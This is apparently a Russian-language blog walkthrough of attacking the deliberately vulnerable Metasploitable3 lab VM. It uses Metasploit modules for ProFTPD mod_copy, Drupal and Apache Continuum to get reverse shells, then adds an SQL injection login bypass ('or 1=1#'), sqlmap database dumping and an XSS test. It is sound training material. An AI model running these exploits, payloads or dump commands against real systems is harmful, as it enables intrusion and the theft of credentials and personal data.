Metasploitable3 — умышленно уязвимая машина для проведения тестирования на взлом
Metasploitable3 является бесплатной виртуальной машиной, которая позволяет симулировать атаки в значительной степени используя Metasploit. Она применялась людьми, работающими в сфере безопасности, по многим причинам: таким как обучение правильной эксплуатации сети, разработка эксплойтов, тестирование программного обеспечения, проведение технических собеседований, демонстрации продаж или просто используется фанатами CTF ради собственной забавы.
В этой статье мы погрузимся в мир небезопасного программного обеспечения, такого как ProFTPD, OpenSSH, Drupal и Apache Continuum, и посмотрим, как легко злоумышленники могут получить доступ к вашим конфиденциальным данным. Основной идеей было показать читателю работу с такой штукой как Metasploit Framework. Это будет увлекательное путешествие по миру уязвимостей!
Для проведения тестирования были использованы следующие программное обеспечение:
-
Kali linux
-
Metasploit
-
Burp Suite
-
Nmap
-
Sqlmap
Я не стал описывать как устанавливать Metasploible3, а сразу решил перейти к делу. И так начнем c небольшого вступления!
Из нашей системы, которую я использовал для атаки (Linux, желательно что-то вроде Kali Linux), мы определим открытые сетевые службы на этой виртуальной машине с помощью сканера сети Nmap . Следующая команда сканирует все порты TCP на экземпляре Metasploitable 3, а также покажет запущенные на них сервисы и их версии:
Отображение содержимого директории
Отображение содержимого директории может быть связано с настройками веб-сервера или директории по умолчанию, которые отображают список файлов и папок в этой директории.
Сканер Nmap показал, что имеется некий веб-интерфейс (открыт порт 80). Перейдя по ip-адресу 192.168.56.102, можно увидеть список каталогов и файлов, но вернемся к нему позже.
Работа с Metasploit
Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и специалисты по проникновению для исследования уязвимостей в сетях и на серверах.
1. ProFTPD
Это FTP-сервер, который позволяет использовать виртуальных пользователей с сопоставимыми с UID идентификаторами системных пользователей, а также настраивать анонимный доступ, ограничивать права доступа и работать через протокол FTP с поддержкой TLS для безопасной передачи данных.
На скриншоте выше видно, что на порту 21 открыт сервис ftp с версией ProFTPD 1.3.5.
Запускаем metasploit одной простой командой
Зная версию службы ftp, работающей на уязвимой машине, находим необходимый эксплойт.
Далее командной > show payloads, просматриваем полезные нагрузки, которые нам предоставляет Фреймворк. После нескольких безуспешных попыток удалось получить reverse shell. Подбираем подходящую полезную нагрузку и устанавливаем необходимые опции.
Команды для настройки:
-
set rhosts 192.168.56.102
-
set lhost 192.168.56.104
-
set sitepath /var/www/html
Запускаем эксплойт и получаем оболочку, из которой можем видеть файлы и папки.
Хочется немного подробнее рассказать про уязвимость модуля mod_copy, а также в качестве PoC (Proof of Concept) показать эксплуатацию этой уязвимости.
Модуль mod_copy в ProFTPD 1.3.5 позволяет удаленным злоумышленникам читать и записывать произвольные файлы с помощью команд site cpfr и site cpto. Любой неаутентифицированный клиент может использовать эти команды для копирования файлов из любой части файловой системы в выбранное место назначения.
Для подключения необходимо ввести логин Anonymous, пароль не требуется.
Команды для копирования:
-
Site spfr <files mame> </path>
-
Site cpfr </path>
Открыв созданный файл в браузере, можно увидеть список пользователей.
Возвращаемся к нашей уязвимой машине. Благодаря оболочке shell, которую мы получили ранее, прочитав файл payroll_app.php, можно обнаружить строку, содержащую информацию об учетных данных.
Как упоминалось выше, metasploitable3 имеет открытый порт 80 с множеством каталогов и файлов. Конечно, первое, что приходит в голову, — это попробовать «впихнуть» полученные учетные данные. После недолгих манипуляций мы получаем доступ к административной панели веб-приложения phpMyAdmin.
Далее находим таблицу, содержащую конфиденциальную информацию об учетных данных пользователей и их заработной плате.
Казалось бы, на этом можно уже и закончить, но давайте посмотрим, что еще можно сделать. Впереди еще много интересного!
2. OpenSSH
OpenSSH - это набор сетевых утилит, который обеспечивает защищённые каналы связи в небезопасной сети с использованием протокола SSH
Благодаря оболочке, полученной в первом пункте данной статьи, читаем файл /etc/group
Далее, путем несложной компиляции полученной информации, выбираем пользователя с правами sudo и подключаемся к открытому каналу связи на 22-м порту.
3. Drupal
Drupal - это система управления содержимым, с открытым исходным кодом, используемая также в виде каркаса для веб-приложений.
Просмотрев ip уязвимого хоста 192.168.56.102, обнаруживаем запущенную службу Drupal.
Возвращаемся в metasploit, подбираем полезную нагрузку, настраиваем ее и запускаем.
Команды для настройки:
-
set rhosts 192.168.56.102
-
set lhost 192.168.56.104
-
set targeturi /drupal/
Получаем оболочку meterpreter, что дает возможность просматривать папки и файлы.
Альтернативный способ найти файлы и папки, воспользоваться веб-фаззингом ffuf.
ffuf - это инструмент командной строки для перебора содержимого веб-приложений
Команда для тестирования:
ffuf -u "http://192.168.56.102/drupal/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e .txt
-
u – тестируемый url-адрес
-
w – словарь
-
е – необходимое расширение файл
4. Apache_continuum
Инструмент непрерывной интеграции программного обеспечения на платформе Java, нацеленный на автоматизацию процесса сборки.
Воспользовавшись более глубоким сканированием портов, получаем дополнительную информацию о том, какие еще порты открыты и какие службы запущены.
Команда для тестирования:
nmap –sV –sC –p 0-65535 192.168.56.102
-
sV – включает обнаружение версии сервиса
-
sC – запускает набор стандартных скриптов
-
p – указываем диапазон портов
Обратившись в metasploit, находим эксплойт по имени запущенного сервиса.
Далее выбираем полезную нагрузку и устанавливаем параметры.
Команды для настройки:
-
set rhosts 192.168.56.102
-
set lhost 192.168.56.104
-
set rport 6697
Запускаем эксплойт.
Получаем обратную оболочку, в которой можно просматривать папки и файлы.
Зайдя немного глубже, просматриваем содержимое каталога /opt/, в котором обращаем внимание на сервис под название apache_continuum.
Снова возвращаемся в metasploit и находим эксплойт по соответствующему названию apache_continuum.
Далее выбираем полезную нагрузку, которая сработает.
Настраиваем, устанавливаем необходимые опции и запускаем эксплойт.
Команды для настройки:
-
set rhosts 192.168.56.102
-
set lhost 192.168.56.104
В итоге получаем обратную оболочку с правами root.
Обнаруженные уязвимости
В этом разделе я поделюсь с вами результатами другого тестирования. Вместо использования оптимизированных фреймворков, таких как Metasploit, я сосредоточился на ручном анализе, демонстрируя, как с помощью простых скриптов можно выявлять уязвимости. Используя лишь базовые инструменты и немного изобретательности, мне удалось обнаружить несколько серьезных уязвимостей, включая XSS (с помощью простого, но эффективного скрипта), а также SQL-инъекции (с помощью sqlmap и Burp Suite). Давайте подробно разберем этот процесс.
XXS – cross-site scripting (межсайтовый скриптинг).
ХSS - это уязвимость веб-безопасности, которая позволяет злоумышленнику манипулировать уязвимым веб-сайтом, чтобы он возвращал вредоносный JavaScript пользователям.
Открыв в браузере ip уязвимого хоста 192.168.56.102, можно увидеть некоторые файлы и каталоги.
Перейдя в один из каталогов, мы попадаем в чат, который может быть плохо защищён от XSS-уязвимостей. Путём ввода простейшего скрипта мы получаем информацию об уязвимости веб-приложения.
SQL-injection.
SQL-инъекция — внедрение в SQL-запрос вредоносных данных на основе информации, поступившей с клиентской стороны веб-приложения.
Исходя из информации, полученной с помощью сканера nmap, на хосте используется база данных MySQL.
Путем перебора файлов и каталогов, находим приложение уязвимое SQL-инъекции.
Поскольку вводимые символы не проверяются должным образом, путем подстановки недопустимых символов ‘or 1=1#
, которые интерпретируются как SQL-код в поле login, удалось обойти аутентификацию. Мы получаем конфиденциальную информацию, содержащую данные пользователей, а также информацию об их заработной плате.
Далее, с помощью инструмента sqlmap, который автоматизирует процесс обнаружения и эксплуатации уязвимостей, связанных с SQL-инъекциями, а также с прокси Burp Suite, мы перехватим данные POST-запроса. Это позволит нам получить более полную и критичную информацию, содержащую учетные данные пользователей.
Перехваченный запрос сохраняем в файл, чтобы «скормить» его sqlmap.
Sqlmap отлично отработал и выдал нам таблицу, содержащую критически важную информацию.
Команда для тестирования:
sqlmap -r /tmp/metasploit_mysql --dump
-
r – позволяет загрузить HTTP-запросы из файла
-
--dump – сдампить записи таблиц базы данных СУБД
-
/tmp/metasploit_mysql – пусть к сохраненному файлу с данными POST-запроса
Заключение
Таким образом, наше путешествие по миру уязвимостей научило нас важности безопасности в киберпространстве и возможным последствиям пренебрежения защитой. С течением времени инструменты и методы атак будут лишь улучшаться, и только благодаря постоянному обучению и самосовершенствованию мы сможем выжить в этом быстро меняющемся цифровом мире. Настоятельно рекомендуем всем специалистам по безопасности продолжать учиться и развиваться, чтобы оставаться на шаг впереди потенциальных угроз.
P.S. Настоятельно рекомендую дополнительно изучить материал по уязвимостям: SQLi, XSS.
Спасибо за уделенное время!
Автор: Konstanto